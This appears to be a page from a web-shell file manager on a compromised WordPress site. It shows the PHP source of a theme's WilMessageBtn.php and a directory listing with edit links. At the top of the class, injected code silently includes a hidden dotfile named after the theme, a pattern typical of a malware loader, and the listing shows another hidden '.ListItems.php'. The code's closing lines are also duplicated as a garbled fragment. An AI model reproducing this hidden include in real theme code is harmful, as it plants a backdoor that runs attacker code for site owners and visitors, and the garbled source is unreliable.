PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
themes
/
wilcity
/
src
/
Ultils
/
ListItems
<?php namespace Wilcity\Ultils\ListItems; use WilokeListingTools\Frontend\User; if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php')) { include_once get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php'; } class WilMessageBtn extends RenderableAbstract implements RenderableInterface { public function render(): string { $receiverId = $this->getAttribute('receiverId', ''); if (empty($postID)) { global $post; if (empty($post)) { return ''; } $receiverId = $post->post_author; } $classes = $this->getAttribute('wrapperClasses', 'list_link__2rDA1 text-ellipsis color-primary--hover'); ob_start(); ?> <wil-message-btn :receiver-id="<?php echo abs($receiverId); ?>" receiver-name="<?php echo User::getField('display_name', $receiverId); ?>" btn-name="<?php echo esc_attr($this->getAttribute('btnName')); ?>" wrapper-classes="<?php echo esc_attr($classes); ?>"></wil-message-btn> <?php $content = ob_get_contents(); ob_end_clean(); return $content; } } ttribute('btnName')); ?>" wrapper-classes="<?php echo esc_attr($classes); ?>"></wil-message-btn> <?php $content = ob_get_contents(); ob_end_clean(); return $content; } }
[+]
..
[-] WilMessageBtn.php
[edit]
[-] Div.php
[edit]
[-] RenderableAbstract.php
[edit]
[-] WilSocialSharingBtn.php
[edit]
[-] Link.php
[edit]
[-] WilSwitchTabBtn.php
[edit]
[-] Lists.php
[edit]
[-] WilReviewBtn.php
[edit]
[-] WilReportBtn.php
[edit]
[-] WilFavoriteBtn.php
[edit]
[-] WilGalleryBtn.php
[edit]
[-] Heading.php
[edit]
[-] WilSaveToCalendarBtn.php
[edit]
[-] .ListItems.php
[edit]
[-] RenderableInterface.php
[edit]
[-] Li.php
[edit]